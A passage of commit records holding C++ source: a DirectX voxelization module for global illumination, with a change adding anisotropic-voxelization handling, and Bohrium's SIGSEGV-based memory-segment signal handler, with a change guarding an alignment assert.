0.0f};\n\tcontext->ClearRenderTargetView(_voxelAlbedoMapAtlas->GetRenderTargetView(), clearColor);\n\tcontext->ClearRenderTargetView(_voxelNormalMapAtlas->GetRenderTargetView(), clearColor);\n\tcontext->ClearRenderTargetView(_voxelEmissionMapAtlas->GetRenderTargetView(), clearColor);\n\t\n\tcontext->OMSetRenderTargetsAndUnorderedAccessViews(0, nullptr, nullptr, 0, ARRAYSIZE(uavs), uavs, nullptr);\n\n\tuint maxCascade = globalInfo.maxNumOfCascade;\n\tfor(uint currentCascade=0; currentCascade<maxCascade; ++currentCascade)\n\t{\n\t\tUpdateConstBuffer(dx, currentCascade, camWorldPos, globalInfo, dimension);\n\n\t\t\/\/ Render Voxel\n\t\t{\n\t\t\tID3D11Buffer* buf = _constBuffers[currentCascade]->GetBuffer();\n\t\t\tcontext->GSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &buf);\n\t\t\tcontext->PSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &buf);\n\n\t\t\tconst auto& opaqueMeshes = renderManager->GetOpaqueMeshes();\n\t\t\tMeshCamera::RenderMeshesUsingSortedMeshVectorByVB(dx, renderManager, opaqueMeshes, RenderType::Voxelization, nullptr);\n\n\t\t\tconst auto& alphaTestMeshes = renderManager->GetAlphaTestMeshes();\n\t\t\tMeshCamera::RenderMeshesUsingSortedMeshVectorByVB(dx, renderManager, alphaTestMeshes, RenderType::Voxelization, nullptr);\n\t\t}\n\t}\n\n\tID3D11Buffer* nullBuff = nullptr;\n\tcontext->GSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &nullBuff);\n\tcontext->PSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &nullBuff);\n\n\tID3D11UnorderedAccessView* nullUAVs[] = {nullptr, nullptr, nullptr};\n\tcontext->OMSetRenderTargetsAndUnorderedAccessViews(0, nullptr, nullptr, 0, ARRAYSIZE(nullUAVs), nullUAVs, nullptr);\n\n\tID3D11SamplerState* nullSampler = nullptr;\n\tcontext->PSSetSamplers((uint)SamplerStateBindIndex::DefaultSamplerState, 1, &nullSampler);\n\n\tcontext->RSSetState(nullptr);\n}\n\nvoid Voxelization::UpdateConstBuffer(const Device::DirectX*& dx, uint currentCascade,\n\t\t\t\t\t\t\t\t\t const Vector3& camWorldPos, const GlobalInfo& globalInfo, float dimension)\n{\n\t\/\/ Compute Voxelize Bound\n\tfloat worldSize;\n\tVector3 bbMin, bbMax, bbMid;\n\tComputeBound(&bbMin, &bbMid, &bbMax, &worldSize, currentCascade, camWorldPos, globalInfo.initWorldSize);\n\n\tInfoCBData currentVoxelizeInfo;\n\tcurrentVoxelizeInfo.currentCascade\t= currentCascade;\n\tcurrentVoxelizeInfo.voxelizeMinPos\t= bbMin;\n\n\t\/\/ Update View Proj ConstBuffer\n\t{\n\t\tMatrix voxelView;\n\t\tComputeVoxelViewMatrix(voxelView, currentCascade, camWorldPos, globalInfo.initWorldSize);\n\n\t\tMatrix projMat;\n\t\tMatrix::OrthoLH(projMat, 2.0f, 2.0f, 1.0f, -1.0f);\n\n\t\tcurrentVoxelizeInfo.voxelView\t\t= voxelView;\n\t\tcurrentVoxelizeInfo.voxelViewProj\t= voxelView * projMat;\n\t}\n\n\t_constBuffers[currentCascade]->UpdateSubResource(dx->GetContext(), &currentVoxelizeInfo);\n}\n\nvoid Voxelization::ComputeVoxelViewMatrix(\tMath::Matrix& outMat, uint currentCascade,\n\t\t\t\t\t\t\t\t\t\t\tconst Math::Vector3& camWorldPos, float initVoxelizeSize)\n{\n\tmemset(&outMat, 0, sizeof(Math::Matrix));\n\n\tfloat worldSize = 0.0f;\n\tVector3 centerPos;\n\tComputeBound(nullptr, &centerPos, nullptr, &worldSize, currentCascade, camWorldPos, initVoxelizeSize);\n\n\tASSERT_COND_MSG(worldSize != 0.0f, \"Error, Voxelize Size is zero\");\n\n\toutMat._11 = 2.0f \/ worldSize;\n\toutMat._22 = 2.0f \/ worldSize;\n\toutMat._33 = 2.0f \/ worldSize;\n\n\toutMat._41 = camWorldPos.x;\n\toutMat._42 = camWorldPos.y;\n\toutMat._43 = camWorldPos.z;\n\toutMat._44 = 1.0f;\n}\n\nvoid Voxelization::ComputeBound(\n\tVector3* outMin, Vector3* outMid, Vector3* outMax, float* outWorldSize,\n\tuint currentCascade, const Vector3& camWorldPos, float initVoxelizeSize)\n{\n\tfloat worldSize\t\t= initVoxelizeSize * ( (float)( (currentCascade + 1) * (currentCascade + 1) ) );\n\tfloat halfWorldSize\t= worldSize \/ 2.0f;\n\n\tVector3 bbMin = camWorldPos - Vector3(halfWorldSize, halfWorldSize, halfWorldSize);\n\tVector3 bbMax = bbMin + Vector3(worldSize, worldSize, worldSize);\n\tVector3 bbMid = (bbMin + bbMax) \/ 2.0f;\n\n\tif(outMin)\t\t\t(*outMin) = bbMin;\n\tif(outMid)\t\t\t(*outMid) = bbMid;\n\tif(outMax)\t\t\t(*outMax) = bbMax;\n\tif(outWorldSize)\t(*outWorldSize) = worldSize;\n}<commit_msg>Voxelization -   USE_ANISOTROPIC_VOXELIZATION 처리 추가<commit_after>#include \"BindIndexInfo.h\"\n#include \"Voxelization.h\"\n#include \"Object.h\"\n#include \"ResourceManager.h\"\n#include \"EngineShaderFactory.hpp\"\n\n#include \"MeshCamera.h\"\n\nusing namespace Resource;\nusing namespace Core;\nusing namespace Math;\nusing namespace Rendering::Buffer;\nusing namespace Rendering::GI;\nusing namespace Rendering::Texture;\nusing namespace Rendering::Camera;\nusing namespace Rendering::Shader;\nusing namespace Rendering::Manager;\nusing namespace Rendering::View;\nusing namespace GPGPU::DirectCompute;\n\nVoxelization::Voxelization()\n:\t_clearVoxelMapCS(nullptr),\n\t_voxelAlbedoMapAtlas(nullptr), _voxelNormalMapAtlas(nullptr), _voxelEmissionMapAtlas(nullptr)\n{\n}\n\nVoxelization::~Voxelization()\n{\n\tDestroy();\n\n\tSAFE_DELETE(_voxelAlbedoMapAtlas);\n\tSAFE_DELETE(_voxelNormalMapAtlas);\n\tSAFE_DELETE(_voxelEmissionMapAtlas);\n\n\tfor(auto iter = _constBuffers.begin(); iter != _constBuffers.end(); ++iter)\n\t\tSAFE_DELETE(*iter);\n\t_constBuffers.clear();\n\n\tSAFE_DELETE(_clearVoxelMapCS);\n}\n\nvoid Voxelization::Initialize(const GlobalInfo& globalInfo)\n{\n\tuint maxNumOfCascade = globalInfo.maxNumOfCascade;\n\tASSERT_COND_MSG(maxNumOfCascade != 0, \"Error, voxelization cascade num is zero.\");\n\n\tauto Log2 = [](float v) -> float\n\t{\n\t\treturn log(v) \/ log(2.0f);\n\t};\n\n#if defined(USE_ANISOTROPIC_VOXELIZATION)\n\tbool isAnisotropic = true;\n#else\n\tbool isAnisotropic = false;\n#endif\n\n\tuint dimension = 1 << globalInfo.voxelDimensionPow2;\n\t\n\t_voxelAlbedoMapAtlas = new AnisotropicVoxelMapAtlas;\n\t_voxelAlbedoMapAtlas->Initialize(dimension, maxNumOfCascade, DXGI_FORMAT_R8G8B8A8_TYPELESS, DXGI_FORMAT_R8G8B8A8_UNORM, DXGI_FORMAT_R32_UINT, 1, isAnisotropic);\n\n\t_voxelNormalMapAtlas = new AnisotropicVoxelMapAtlas;\n\t_voxelNormalMapAtlas->Initialize(dimension, maxNumOfCascade, DXGI_FORMAT_R32_TYPELESS, DXGI_FORMAT_R32_FLOAT, DXGI_FORMAT_R32_UINT, 1, isAnisotropic);\n\n\t_voxelEmissionMapAtlas = new AnisotropicVoxelMapAtlas;\n\t_voxelEmissionMapAtlas->Initialize(dimension, maxNumOfCascade, DXGI_FORMAT_R8G8B8A8_TYPELESS, DXGI_FORMAT_R8G8B8A8_UNORM, DXGI_FORMAT_R32_UINT, 1, isAnisotropic);\n\n\t\/\/ Setting Const Buffers\n\t{\n\t\tfor(uint i=0; i<maxNumOfCascade; ++i)\n\t\t{\n\t\t\tConstBuffer* infoConstBuffer = new ConstBuffer;\n\t\t\tinfoConstBuffer->Initialize(sizeof(InfoCBData));\n\n\t\t\t_constBuffers.push_back(infoConstBuffer);\n\t\t}\n\n\/\/\t\t_renderInputCBContainer.push_back( ShaderForm::InputConstBuffer(uint(ConstBufferBindIndex::Voxelization_InfoCB), nullptr, false, true, false, true) );\n\t}\n\n\tInitializeClearVoxelMap(dimension, maxNumOfCascade);\n}\n\nvoid Voxelization::InitializeClearVoxelMap(uint dimension, uint maxNumOfCascade)\n{\n\tstd::string filePath = \"\";\n\t{\n\t\tFactory::EngineFactory pathFind(nullptr);\n\t\tpathFind.FetchShaderFullPath(filePath, \"ClearVoxelMaps\");\n\n\t\tASSERT_COND_MSG(filePath.empty() == false, \"Error, File path is empty\");\n\t}\n\n\tShaderManager* shaderMgr = ResourceManager::SharedInstance()->GetShaderManager();\n\tID3DBlob* blob = shaderMgr->CreateBlob(filePath, \"cs\", \"ClearVoxelMapCS\", false, nullptr);\n\n\tComputeShader::ThreadGroup threadGroup;\n\t{\n\t\tauto ComputeThreadGroupSideLength = [](uint sideLength)\n\t\t{\n\t\t\treturn (uint)((float)(sideLength + 8 - 1) \/ 8.0f);\n\t\t};\n#if defined(USE_ANISOTROPIC_VOXELIZATION)\n\t\tthreadGroup.x = ComputeThreadGroupSideLength(dimension) * (uint)AnisotropicVoxelMapAtlas::Direction::Num;\n#else\n\t\tthreadGroup.x = ComputeThreadGroupSideLength(dimension);\n#endif\n\t\tthreadGroup.y = ComputeThreadGroupSideLength(dimension * maxNumOfCascade);\n\t\tthreadGroup.z = ComputeThreadGroupSideLength(dimension);\n\t}\n\n\t_clearVoxelMapCS = new ComputeShader(threadGroup, blob);\n\tASSERT_COND_MSG(_clearVoxelMapCS->Initialize(), \"Error, Can't Init ClearVoxelMapCS\");\n\n\tstd::vector<ShaderForm::InputUnorderedAccessView> uavs;\n\t{\n\t\tShaderForm::InputUnorderedAccessView uav;\n\t\tuav.bindIndex\t= (uint)UAVBindIndex::VoxelMap_Albedo;\n\t\tuav.uav\t\t\t= _voxelAlbedoMapAtlas->GetSourceMapUAV();\n\t\tuavs.push_back(uav);\n\n\t\tuav.bindIndex\t= (uint)UAVBindIndex::VoxelMap_Normal;\n\t\tuav.uav\t\t\t= _voxelNormalMapAtlas->GetSourceMapUAV();\n\t\tuavs.push_back(uav);\n\n\t\tuav.bindIndex\t= (uint)UAVBindIndex::VoxelMap_Emission;\n\t\tuav.uav\t\t\t= _voxelEmissionMapAtlas->GetSourceMapUAV();\n\t\tuavs.push_back(uav);\n\t}\n\n\t_clearVoxelMapCS->SetUAVs(uavs);\n}\n\nvoid Voxelization::Destroy()\n{\n\t_voxelAlbedoMapAtlas->Destory();\n\t_voxelNormalMapAtlas->Destory();\n\t_voxelEmissionMapAtlas->Destory();\n\n\tfor(auto iter = _constBuffers.begin(); iter != _constBuffers.end(); ++iter)\n\t\t(*iter)->Destory();\n\n\t_constBuffers.clear();\n}\n\nvoid Voxelization::ClearZeroVoxelMap(const Device::DirectX*& dx)\n{\n\t_clearVoxelMapCS->Dispatch(dx->GetContext());\n}\n\nvoid Voxelization::Voxelize(const Device::DirectX*& dx,\n\t\t\t\t\t\t\tconst MeshCamera*& camera, const RenderManager*& renderManager,\n\t\t\t\t\t\t\tconst GlobalInfo& globalInfo,\n\t\t\t\t\t\t\tbool onlyStaticMesh)\n{\n\tMath::Matrix camWorldMat;\n\t{\n\t\tconst Transform* camTf = camera->GetOwner()->GetTransform();\n\t\tcamTf->FetchWorldMatrix(camWorldMat);\n\t}\n\n\tif(onlyStaticMesh)\n\t{\n\t\tMatrix viewMat;\n\t\tCameraForm::GetViewMatrix(viewMat, camWorldMat);\n\t\t\n\t\tbool isDifferentViewMat = memcmp(&_prevStaticMeshVoxelizeViewMat, &viewMat, sizeof(Matrix)) != 0;\n\t\tif(isDifferentViewMat == false)\n\t\t\treturn;\n\n\t\t_prevStaticMeshVoxelizeViewMat = viewMat;\n\t}\n\n\tClearZeroVoxelMap(dx);\n\tVector3 camWorldPos(camWorldMat._41, camWorldMat._42, camWorldMat._43);\n\n\tID3D11DeviceContext* context = dx->GetContext();\n\n\tcontext->RSSetState(dx->GetRasterizerStateCWDisableCullingWithClip());\n\tcontext->OMSetDepthStencilState(dx->GetDepthStateLessEqual(), 0x00);\n\n\tfloat blendFactor[4] = {0.0f, 0.0f, 0.0f, 0.0f};\n\tcontext->OMSetBlendState(dx->GetBlendStateOpaque(), blendFactor, 0xffffffff);\n\n\tfloat dimension = float(1 << globalInfo.voxelDimensionPow2);\n\n\tD3D11_VIEWPORT viewport;\n\t{\n\t\tviewport.TopLeftX\t= 0.0f;\n\t\tviewport.TopLeftY\t= 0.0f;\n\t\tviewport.MinDepth\t= 0.0f;\n\t\tviewport.MaxDepth\t= 1.0f;\n\t\tviewport.Width\t\t= dimension;\n\t\tviewport.Height\t\t= dimension;\n\t}\n\tcontext->RSSetViewports(1, &viewport);\n\n\tID3D11SamplerState* samplerState = dx->GetSamplerStateAnisotropic();\n\tcontext->PSSetSamplers((uint)SamplerStateBindIndex::DefaultSamplerState, 1, &samplerState);\n\n\tID3D11UnorderedAccessView* uavs [] =\n\t{\n\t\t_voxelAlbedoMapAtlas->GetSourceMapUAV()->GetView(),\n\t\t_voxelNormalMapAtlas->GetSourceMapUAV()->GetView(),\n\t\t_voxelEmissionMapAtlas->GetSourceMapUAV()->GetView()\n\t};\n\n\tfloat clearColor[4] = {0.0f, 0.0f, 0.0f, 0.0f};\n\tcontext->ClearRenderTargetView(_voxelAlbedoMapAtlas->GetRenderTargetView(), clearColor);\n\tcontext->ClearRenderTargetView(_voxelNormalMapAtlas->GetRenderTargetView(), clearColor);\n\tcontext->ClearRenderTargetView(_voxelEmissionMapAtlas->GetRenderTargetView(), clearColor);\n\t\n\tcontext->OMSetRenderTargetsAndUnorderedAccessViews(0, nullptr, nullptr, 0, ARRAYSIZE(uavs), uavs, nullptr);\n\n\tuint maxCascade = globalInfo.maxNumOfCascade;\n\tfor(uint currentCascade=0; currentCascade<maxCascade; ++currentCascade)\n\t{\n\t\tUpdateConstBuffer(dx, currentCascade, camWorldPos, globalInfo, dimension);\n\n\t\t\/\/ Render Voxel\n\t\t{\n\t\t\tID3D11Buffer* buf = _constBuffers[currentCascade]->GetBuffer();\n\t\t\tcontext->GSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &buf);\n\t\t\tcontext->PSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &buf);\n\n\t\t\tconst auto& opaqueMeshes = renderManager->GetOpaqueMeshes();\n\t\t\tMeshCamera::RenderMeshesUsingSortedMeshVectorByVB(dx, renderManager, opaqueMeshes, RenderType::Voxelization, nullptr);\n\n\t\t\tconst auto& alphaTestMeshes = renderManager->GetAlphaTestMeshes();\n\t\t\tMeshCamera::RenderMeshesUsingSortedMeshVectorByVB(dx, renderManager, alphaTestMeshes, RenderType::Voxelization, nullptr);\n\t\t}\n\t}\n\n\tID3D11Buffer* nullBuff = nullptr;\n\tcontext->GSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &nullBuff);\n\tcontext->PSSetConstantBuffers(uint(ConstBufferBindIndex::Voxelization_InfoCB), 1, &nullBuff);\n\n\tID3D11UnorderedAccessView* nullUAVs[] = {nullptr, nullptr, nullptr};\n\tcontext->OMSetRenderTargetsAndUnorderedAccessViews(0, nullptr, nullptr, 0, ARRAYSIZE(nullUAVs), nullUAVs, nullptr);\n\n\tID3D11SamplerState* nullSampler = nullptr;\n\tcontext->PSSetSamplers((uint)SamplerStateBindIndex::DefaultSamplerState, 1, &nullSampler);\n\n\tcontext->RSSetState(nullptr);\n}\n\nvoid Voxelization::UpdateConstBuffer(const Device::DirectX*& dx, uint currentCascade,\n\t\t\t\t\t\t\t\t\t const Vector3& camWorldPos, const GlobalInfo& globalInfo, float dimension)\n{\n\t\/\/ Compute Voxelize Bound\n\tfloat worldSize;\n\tVector3 bbMin, bbMax, bbMid;\n\tComputeBound(&bbMin, &bbMid, &bbMax, &worldSize, currentCascade, camWorldPos, globalInfo.initWorldSize);\n\n\tInfoCBData currentVoxelizeInfo;\n\tcurrentVoxelizeInfo.currentCascade\t= currentCascade;\n\tcurrentVoxelizeInfo.voxelizeMinPos\t= bbMin;\n\n\t\/\/ Update View Proj ConstBuffer\n\t{\n\t\tMatrix voxelView;\n\t\tComputeVoxelViewMatrix(voxelView, currentCascade, camWorldPos, globalInfo.initWorldSize);\n\n\t\tMatrix projMat;\n\t\tMatrix::OrthoLH(projMat, 2.0f, 2.0f, 1.0f, -1.0f);\n\n\t\tcurrentVoxelizeInfo.voxelView\t\t= voxelView;\n\t\tcurrentVoxelizeInfo.voxelViewProj\t= voxelView * projMat;\n\t}\n\n\t_constBuffers[currentCascade]->UpdateSubResource(dx->GetContext(), &currentVoxelizeInfo);\n}\n\nvoid Voxelization::ComputeVoxelViewMatrix(\tMath::Matrix& outMat, uint currentCascade,\n\t\t\t\t\t\t\t\t\t\t\tconst Math::Vector3& camWorldPos, float initVoxelizeSize)\n{\n\tmemset(&outMat, 0, sizeof(Math::Matrix));\n\n\tfloat worldSize = 0.0f;\n\tVector3 centerPos;\n\tComputeBound(nullptr, &centerPos, nullptr, &worldSize, currentCascade, camWorldPos, initVoxelizeSize);\n\n\tASSERT_COND_MSG(worldSize != 0.0f, \"Error, Voxelize Size is zero\");\n\n\toutMat._11 = 2.0f \/ worldSize;\n\toutMat._22 = 2.0f \/ worldSize;\n\toutMat._33 = 2.0f \/ worldSize;\n\n\toutMat._41 = camWorldPos.x;\n\toutMat._42 = camWorldPos.y;\n\toutMat._43 = camWorldPos.z;\n\toutMat._44 = 1.0f;\n}\n\nvoid Voxelization::ComputeBound(\n\tVector3* outMin, Vector3* outMid, Vector3* outMax, float* outWorldSize,\n\tuint currentCascade, const Vector3& camWorldPos, float initVoxelizeSize)\n{\n\tfloat worldSize\t\t= initVoxelizeSize * ( (float)( (currentCascade + 1) * (currentCascade + 1) ) );\n\tfloat halfWorldSize\t= worldSize \/ 2.0f;\n\n\tVector3 bbMin = camWorldPos - Vector3(halfWorldSize, halfWorldSize, halfWorldSize);\n\tVector3 bbMax = bbMin + Vector3(worldSize, worldSize, worldSize);\n\tVector3 bbMid = (bbMin + bbMax) \/ 2.0f;\n\n\tif(outMin)\t\t\t(*outMin) = bbMin;\n\tif(outMid)\t\t\t(*outMid) = bbMid;\n\tif(outMax)\t\t\t(*outMax) = bbMax;\n\tif(outWorldSize)\t(*outWorldSize) = worldSize;\n}<|endoftext|>"}
{"text":"<commit_before>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium\nteam <http:\/\/www.bh107.org>.\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as\npublished by the Free Software Foundation, either version 3\nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the\nGNU Lesser General Public License along with Bohrium.\n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <pthread.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <cassert>\n#include <stdexcept>\n#include <set>\n#include <iostream>\n#include <sigsegv.h>\n#include <bh_mem_signal.h>\n#include <bh_util.hpp>\n\nusing namespace std;\n\nstatic pthread_mutex_t signal_mutex = PTHREAD_MUTEX_INITIALIZER;\nstatic bool initialized = false;\nstatic bool mem_warn = false;\n\nstruct Segment {\n    \/\/Start address of this memory segment\n    const void *addr;\n    \/\/Size of memory segment in bytes\n    uint64_t size;\n    \/\/Id to identify the memory segment when executing the callback function.\n    const void *idx;\n    \/\/The callback function to call\n    bh_mem_signal_callback_t callback;\n    \/\/sigsegv ticket of a registered memory range\n    void *ticket;\n\n    \/\/Some constructors\n    Segment() {};\n\n    Segment(const void *addr) : addr(addr), size(1), idx(nullptr), callback(nullptr), ticket(nullptr) {};\n\n    Segment(const void *addr, uint64_t size) : addr(addr), size(size), idx(nullptr),\n                                               callback(nullptr), ticket(nullptr) {};\n\n    Segment(const void *addr, uint64_t size, const void *idx) : addr(addr), size(size), idx(idx),\n                                                                callback(nullptr), ticket(nullptr) {};\n\n    void add_callback_and_ticket(bh_mem_signal_callback_t callback, void *ticket) {\n        this->callback = callback;\n        this->ticket = ticket;\n    }\n\n    bool operator<(const Segment &other) const {\n        const uint64_t a_begin = (uint64_t) addr;\n        const uint64_t b_begin = (uint64_t) other.addr;\n        const uint64_t a_end = a_begin + size - 1;\n        const uint64_t b_end = b_begin + other.size - 1;\n\n        \/\/When the two segments overlaps we return false such that\n        \/\/overlapping segments are identical in a set\n        if ((a_begin <= b_end) and (a_end >= b_begin)) {\n            return false;\n        } else { \/\/Else we simple compare the begin address\n            return a_begin < b_begin;\n        }\n    }\n\n    \/\/Read begin and end memory address\n    const void *addr_begin() const {\n        return addr;\n    }\n\n    const void *addr_end() const {\n        return (const void *) (((uint64_t) addr + size));\n    }\n};\n\n\/\/Pretty print of Segment\nostream &operator<<(ostream &out, const Segment &segment) {\n    out << segment.idx << \"{addr: \" << segment.addr_begin() << \" - \"\n        << segment.addr_end() << \", ticket: \" << segment.ticket << \"}\";\n    return out;\n}\n\nostream &operator<<(ostream &out, const set<Segment> &segments) {\n    out << \"bh_mem_signal contains: \" << endl;\n    for (const Segment &seg: segments) {\n        out << seg << endl;\n    }\n    return out;\n}\n\n\/\/ sigsegv boilerplate\nstatic sigsegv_dispatcher dispatcher;\nstatic int handler(void *fault_address, int serious) {\n    \/\/ We only handle serious faults and not potential faults such as stack overflows\n    if (serious == 1) {\n        return sigsegv_dispatch(&dispatcher, fault_address);\n    } else {\n        return 0;\n    }\n}\n\n\/\/ All registered memory segments\n\/\/ NB: never insert overlapping memory segments into this set\nstatic set<Segment> segments;\n\nvoid bh_mem_signal_init(void) {\n    mem_warn = getenv(\"BH_MEM_WARN\") != nullptr;\n\n    pthread_mutex_lock(&signal_mutex);\n    if (!initialized) {\n        sigsegv_init (&dispatcher);\n        if (sigsegv_install_handler(&handler) == -1) {\n            throw runtime_error(\"System cannot catch SIGSEGV\");\n        }\n    }\n    initialized = true;\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nvoid bh_mem_signal_shutdown(void) {\n    pthread_mutex_lock(&signal_mutex);\n    if (not segments.empty()) {\n        if (mem_warn) {\n            cout << \"MEM_WARN: bh_mem_signal_shutdown() - not all attached memory segments are detached!\" << endl;\n            bh_mem_signal_pprint_db();\n        }\n    }\n    if (initialized) {\n        sigsegv_deinstall_handler();\n    }\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nvoid bh_mem_signal_attach(void *idx, void *addr, uint64_t size, bh_mem_signal_callback_t callback) {\n    pthread_mutex_lock(&signal_mutex);\n\n    \/\/ Create new memory segment that we will attach\n    Segment segment(addr, size, idx);\n\n    \/\/ Let's check for double attachments\n    if (util::exist(segments, segment)) {\n        auto conflict = segments.find(Segment(addr, size));\n        stringstream ss;\n        ss << \"mem_signal: Could not attach signal, memory segment (\" \\\n           << segment.addr_begin() << \" to \" << segment.addr_end() \\\n           << \") is in conflict with already attached memory segment (\" \\\n           << conflict->addr_begin() << \" to \" << conflict->addr_end() << \")\" << endl;\n        pthread_mutex_unlock(&signal_mutex);\n        throw runtime_error(ss.str());\n    }\n    assert(((size_t) addr) % SIGSEGV_FAULT_ADDRESS_ALIGNMENT == 0);\n    assert(size % SIGSEGV_FAULT_ADDRESS_ALIGNMENT == 0);\n    \/\/ Let's register it in sigsegv and save it in the segment\n    void *ticket = sigsegv_register(&dispatcher, addr, size, callback, idx);\n    segment.add_callback_and_ticket(callback, ticket);\n\n    \/\/ Finally, let's insert the new segment\n    segments.insert(segment);\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nvoid bh_mem_signal_detach(const void *addr) {\n    pthread_mutex_lock(&signal_mutex);\n    auto it = segments.find(addr);\n    if (it != segments.end()) {\n        assert(it->ticket != nullptr);\n        sigsegv_unregister(&dispatcher, it->ticket);\n        segments.erase(it);\n    }\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nint bh_mem_signal_exist(const void *addr) {\n    int ret;\n    pthread_mutex_lock(&signal_mutex);\n    ret = util::exist(segments, addr);\n    pthread_mutex_unlock(&signal_mutex);\n    return ret;\n}\n\nvoid bh_mem_signal_pprint_db(void) {\n    cout << segments << endl;\n}\n<commit_msg>older version does have SIGSEGV_FAULT_ADDRESS_ALIGNMENT<commit_after>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium\nteam <http:\/\/www.bh107.org>.\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as\npublished by the Free Software Foundation, either version 3\nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the\nGNU Lesser General Public License along with Bohrium.\n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <pthread.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <cassert>\n#include <stdexcept>\n#include <set>\n#include <iostream>\n#include <sigsegv.h>\n#include <bh_mem_signal.h>\n#include <bh_util.hpp>\n\nusing namespace std;\n\nstatic pthread_mutex_t signal_mutex = PTHREAD_MUTEX_INITIALIZER;\nstatic bool initialized = false;\nstatic bool mem_warn = false;\n\nstruct Segment {\n    \/\/Start address of this memory segment\n    const void *addr;\n    \/\/Size of memory segment in bytes\n    uint64_t size;\n    \/\/Id to identify the memory segment when executing the callback function.\n    const void *idx;\n    \/\/The callback function to call\n    bh_mem_signal_callback_t callback;\n    \/\/sigsegv ticket of a registered memory range\n    void *ticket;\n\n    \/\/Some constructors\n    Segment() {};\n\n    Segment(const void *addr) : addr(addr), size(1), idx(nullptr), callback(nullptr), ticket(nullptr) {};\n\n    Segment(const void *addr, uint64_t size) : addr(addr), size(size), idx(nullptr),\n                                               callback(nullptr), ticket(nullptr) {};\n\n    Segment(const void *addr, uint64_t size, const void *idx) : addr(addr), size(size), idx(idx),\n                                                                callback(nullptr), ticket(nullptr) {};\n\n    void add_callback_and_ticket(bh_mem_signal_callback_t callback, void *ticket) {\n        this->callback = callback;\n        this->ticket = ticket;\n    }\n\n    bool operator<(const Segment &other) const {\n        const uint64_t a_begin = (uint64_t) addr;\n        const uint64_t b_begin = (uint64_t) other.addr;\n        const uint64_t a_end = a_begin + size - 1;\n        const uint64_t b_end = b_begin + other.size - 1;\n\n        \/\/When the two segments overlaps we return false such that\n        \/\/overlapping segments are identical in a set\n        if ((a_begin <= b_end) and (a_end >= b_begin)) {\n            return false;\n        } else { \/\/Else we simple compare the begin address\n            return a_begin < b_begin;\n        }\n    }\n\n    \/\/Read begin and end memory address\n    const void *addr_begin() const {\n        return addr;\n    }\n\n    const void *addr_end() const {\n        return (const void *) (((uint64_t) addr + size));\n    }\n};\n\n\/\/Pretty print of Segment\nostream &operator<<(ostream &out, const Segment &segment) {\n    out << segment.idx << \"{addr: \" << segment.addr_begin() << \" - \"\n        << segment.addr_end() << \", ticket: \" << segment.ticket << \"}\";\n    return out;\n}\n\nostream &operator<<(ostream &out, const set<Segment> &segments) {\n    out << \"bh_mem_signal contains: \" << endl;\n    for (const Segment &seg: segments) {\n        out << seg << endl;\n    }\n    return out;\n}\n\n\/\/ sigsegv boilerplate\nstatic sigsegv_dispatcher dispatcher;\nstatic int handler(void *fault_address, int serious) {\n    \/\/ We only handle serious faults and not potential faults such as stack overflows\n    if (serious == 1) {\n        return sigsegv_dispatch(&dispatcher, fault_address);\n    } else {\n        return 0;\n    }\n}\n\n\/\/ All registered memory segments\n\/\/ NB: never insert overlapping memory segments into this set\nstatic set<Segment> segments;\n\nvoid bh_mem_signal_init(void) {\n    mem_warn = getenv(\"BH_MEM_WARN\") != nullptr;\n\n    pthread_mutex_lock(&signal_mutex);\n    if (!initialized) {\n        sigsegv_init (&dispatcher);\n        if (sigsegv_install_handler(&handler) == -1) {\n            throw runtime_error(\"System cannot catch SIGSEGV\");\n        }\n    }\n    initialized = true;\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nvoid bh_mem_signal_shutdown(void) {\n    pthread_mutex_lock(&signal_mutex);\n    if (not segments.empty()) {\n        if (mem_warn) {\n            cout << \"MEM_WARN: bh_mem_signal_shutdown() - not all attached memory segments are detached!\" << endl;\n            bh_mem_signal_pprint_db();\n        }\n    }\n    if (initialized) {\n        sigsegv_deinstall_handler();\n    }\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nvoid bh_mem_signal_attach(void *idx, void *addr, uint64_t size, bh_mem_signal_callback_t callback) {\n    pthread_mutex_lock(&signal_mutex);\n\n    \/\/ Create new memory segment that we will attach\n    Segment segment(addr, size, idx);\n\n    \/\/ Let's check for double attachments\n    if (util::exist(segments, segment)) {\n        auto conflict = segments.find(Segment(addr, size));\n        stringstream ss;\n        ss << \"mem_signal: Could not attach signal, memory segment (\" \\\n           << segment.addr_begin() << \" to \" << segment.addr_end() \\\n           << \") is in conflict with already attached memory segment (\" \\\n           << conflict->addr_begin() << \" to \" << conflict->addr_end() << \")\" << endl;\n        pthread_mutex_unlock(&signal_mutex);\n        throw runtime_error(ss.str());\n    }\n#ifdef SIGSEGV_FAULT_ADDRESS_ALIGNMENT \/\/ SIGSEGV_FAULT_ADDRESS_ALIGNMENT isn't defined in older versions\n    assert(((size_t) addr) % 